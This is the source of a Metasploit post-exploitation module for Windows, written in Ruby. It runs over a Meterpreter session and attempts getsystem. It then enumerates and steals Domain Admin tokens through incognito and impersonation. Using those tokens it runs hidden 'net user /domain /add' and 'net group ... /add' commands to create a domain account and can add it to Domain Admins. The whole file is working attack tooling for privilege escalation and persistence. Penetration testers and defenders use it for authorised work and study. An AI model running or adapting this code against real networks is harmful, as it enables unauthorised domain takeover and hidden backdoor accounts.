metasploit-framework/modules/post/windows/manage/add_user_domain.rb

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Priv

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Manage Add User to the Domain and/or to a Domain Group',
				'Description'   => %q{
							This module adds a user to the Domain and/or to a Domain group. It will
						check if sufficient privileges are present for certain actions and run
						getprivs for system.  If you elevated privs to system,the
						SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
						a process that is running as system. If you don't have privs, this script
						exits.
					},
				'License'       => MSF_LICENSE,
				'Author'        => 'Joshua Abraham <jabra[at]rapid7.com>',
				'Platform'      => [ 'win' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
		register_options(
			[
				OptString.new('USERNAME',  [true,  'Username to add to the Domain or Domain Group', '']),
				OptString.new('PASSWORD',  [false, 'Password of the user (only required to add a user to the domain)', '']),
				OptString.new('GROUP',     [true,  'Domain Group to add the user into.', 'Domain Admins']),
				OptBool.new('ADDTOGROUP',  [true,  'Add user into Domain Group', false]),
				OptBool.new('ADDTODOMAIN', [true,  'Add user to the Domain', true]),
				OptString.new('TOKEN',     [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']),
				OptBool.new('GETSYSTEM',   [true,  'Attempt to get SYSTEM privilege on the target host.', true])
			], self.class)
	end

	def get_system
		print_status("Trying to get SYSTEM privileges")
		results = session.priv.getsystem
		if results[0]
			print_good("Got SYSTEM privileges")
		else
			print_error("Could not obtain SYSTEM privileges")
		end
	end

	def priv_check
		if is_system?
			privs = session.sys.config.getprivs
			if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
				return true
			else
				return false
			end
		elsif is_admin?
			return true
		else
			return false
		end
	end

	## steal domain admin token
	## return code: bool
	def steal_token(domain_user,domain)
		if session.sys.config.getuid() == domain_user or domain_user == ''
			return true
		end

		## load incognito
		if(! session.incognito)
			session.core.use("incognito")
		end

		if(! session.incognito)
			print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
			return false
		end

		## verify domain_user contains a domain
		if domain_user !~ /\\/
			domain_user = "#{domain}\\#{domain_user}"
		else
			domain_user = ''
		end

		## token is a PID
		target_pid = ''
		if (datastore['TOKEN'] =~ /^\d+$/)
			pid = datastore['TOKEN']

			session.sys.process.get_processes().sort_by { rand }.each do |x|
				if ( pid == x['pid'])
					target_pid = pid
				end
			end
		## token is a Domain User
		else
			session.sys.process.get_processes().sort_by { rand }.each do |x|
				if ( x['user'] == domain_user and target_pid == '')
					target_pid = x['pid']
					print_status("Found token for #{domain_user}")
				end
			end
		end

		if target_pid != ''
			# Do the migration
			print_status("Stealing token of process ID #{target_pid}")
			res = session.sys.config.steal_token(target_pid)
			if  domain_user != ''
				domain_user = session.sys.config.getuid()
			else
				print_status("Stealing token of process ID #{target_pid}")
				res = session.sys.config.steal_token(target_pid)
				if  domain_user != ''
					domain_user = session.sys.config.getuid()
				end
			end

			if session.sys.config.getuid() != domain_user
				print_error "Steal Token Failed (running as: #{session.sys.config.getuid()})"
				return false
			end
		else
			print_status("No process tokens found.")
			if (domain_user != '')
				vprint_status("Trying impersonate_token technique...")
				res = session.incognito.incognito_impersonate_token(domain_user)
			else
				return false
			end
		end

		return true
	end

	## enumerate if the session has a domain admin token on it
	## Return: token_found,token_user,current_user; otherwise false
	def token_hunter(domain)
		## gather data
		usr_res = run_cmd("net groups \"Domain Admins\" /domain",false)
		domain_admins = get_members(usr_res.split("\n"))

		## Make sure we meet the requirements before running the module
		if not priv_check
			print_error("Abort! Did not pass the priv check")
			return false
		end

		## load incognito
		if(! session.incognito)
			session.core.use("incognito")
		end

		if(! session.incognito)
			print_error("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
			return false
		end

		domain_admins.each do |da_user|
			## current user
			if "#{domain}\\#{da_user}" == session.sys.config.getuid()
				print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"
				return true,'',true
			end

			## parse delegation tokens
			res = session.incognito.incognito_list_tokens(0)
			if res
				res["delegation"].split("\n").each do |user|
					ndom,nusr = user.split("\\")
					if not nusr
						nusr = ndom
						ndom = nil
					end
					if ndom == domain and da_user == nusr
						sid = session.sid
						peer = session.session_host
						print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")
						return true,nusr,false
					end
				end
			end

			## parse process list
			session.sys.process.get_processes().each do |x|
				if ( x['user'] == "#{domain}\\#{da_user}")
					target_pid = x['pid']
					sid = session.sid
					peer = session.session_host
					report_note(
						:host   => session,
						:type   => 'domain.token.pid',
						:data   => { :pid=>target_pid, :sid=>sid, :peer=>peer, :user=>da_user },
						:update => :unique_data
					)
					print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")
					return true ,da_user, false
				end
			end
		end

		return false
	end

	# Run Method for when run command is issued
	def run
		print_status("Running module on #{sysinfo['Computer']}")

		## get system, if requested
		if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])
			get_system
		end

		## enum domain
		domain = get_domain()
		if domain.nil?
			return
		end

		## steal token if neccessary
		if (datastore['TOKEN'] == '')
			token_found,token_user,current_user = token_hunter(domain)

			return if token_found == false

			datastore['TOKEN'] = token_user if current_user == false
		end

		## steal token
		steal_token_res = steal_token(datastore['TOKEN'],domain)
		return if steal_token_res == false

		## verify not running as SYSTEM
		if (session.sys.config.getuid() =~ /SYSTEM/)
			print_error("Stealing a Token failed! Still running as SYSTEM")
			return
		else
			print_status("Now executing commands as #{session.sys.config.getuid()}" )
		end

		already_user = false
		already_member_group = false

		## Add user to the domain
		if (datastore['ADDTODOMAIN'] == true)
			user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false)

			if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/)
				print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")
				already_user = true
			else
				cmd = "net user \"#{datastore['USERNAME']}\" \"#{datastore['PASSWORD']}\" /domain /add"
				print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")
				add_user_to_domain_res = run_cmd(cmd)
			end
		end

		## Add user to a domain group
		if datastore['ADDTOGROUP'] == true
			## check if user is already a member of the group
			group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false)

			# Parse Returned data
			members = get_members(group_add_res.split("\n"))

			# Show results if we have any, Error if we don't
			if ! members.empty?
				members.each do |user|
					if (user == "#{datastore['USERNAME']}")
						print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")
						already_member_group = true
					end
				end

				if already_member_group == false
					print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")
					cmd = "net group \"#{datastore['GROUP']}\" \"#{datastore['USERNAME']}\" /domain /add"
					add_user_to_group_res = run_cmd(cmd)
				end
			end
		end

		## drop token
		if (datastore['TOKEN'] != '')
			res = session.sys.config.drop_token
		end

		## verify user was added to domain or domain group
		if datastore['ADDTOGROUP'] == true
			if already_member_group == false
				net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false)

				# Parse Returned data
				members = get_members(net_groups_res.split("\n"))

				# Show results if we have any, Error if we don't
				if ! members.empty?
					members.each do |user|
						if (user == "#{datastore['USERNAME']}")
							print_good("#{datastore['USERNAME']} is now a member of the '#{datastore['GROUP']}' group!")
							return
						end
					end
					print_error("Error adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' group")
					return
				else
					print_error("No members found for #{datastore['GROUP']}")
				end
			end
		else
			if already_user == false
				net_user_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false)

				if (net_user_res =~ /The command completed successfully/ and net_user_res =~ /Domain Users/)
					print_good("#{datastore['USERNAME']} is now a member of the #{domain} domain!")
				else
					print_error("Error adding '#{datastore['USERNAME']}' to the domain. Check the password complexity.")
				end
			end
		end
	end

	def get_members(results)
		members = []

		# Usernames start somewhere around line 6
		results = results.slice(6, results.length)
		# Get group members from the output
		results.each do |line|
			line.split("  ").compact.each do |user|
				next if user.strip == ""
				next if user =~ /-----/
				next if user =~ /The command completed successfully/
				members << user.strip
			end
		end

		return members
	end

	## get value from registry key
	def reg_getvaldata(key,valname)
		value = nil
		begin
			root_key, base_key = client.sys.registry.splitkey(key)
			open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
			v = open_key.query_value(valname)
			value = v.data
			open_key.close
		end
		return value
	end

	## return primary domain from the registry
	def get_domain()
		domain = nil
		begin
			subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
			v_name = "DCName"
			dom_info = reg_getvaldata(subkey, v_name)
			if not dom_info.nil? and dom_info =~ /\./
				foo = dom_info.split('.')
				domain = foo[1].upcase
			else
				print_error("Error parsing output from the registry. (#{dom_info})")
			end
		rescue
			print_error("This host is not part of a domain.")
		end
		return domain
	end

	## execute cmd and return the response
	## is required since we need to use the 'UseThreadToken' hash
	def run_cmd(cmd,token=true)
		opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
		process = session.sys.process.execute(cmd, nil, opts)
		res = ""
		while (d = process.channel.read)
			break if d == ""
			res << d
		end
		process.channel.close
		process.close
		return res
	end
end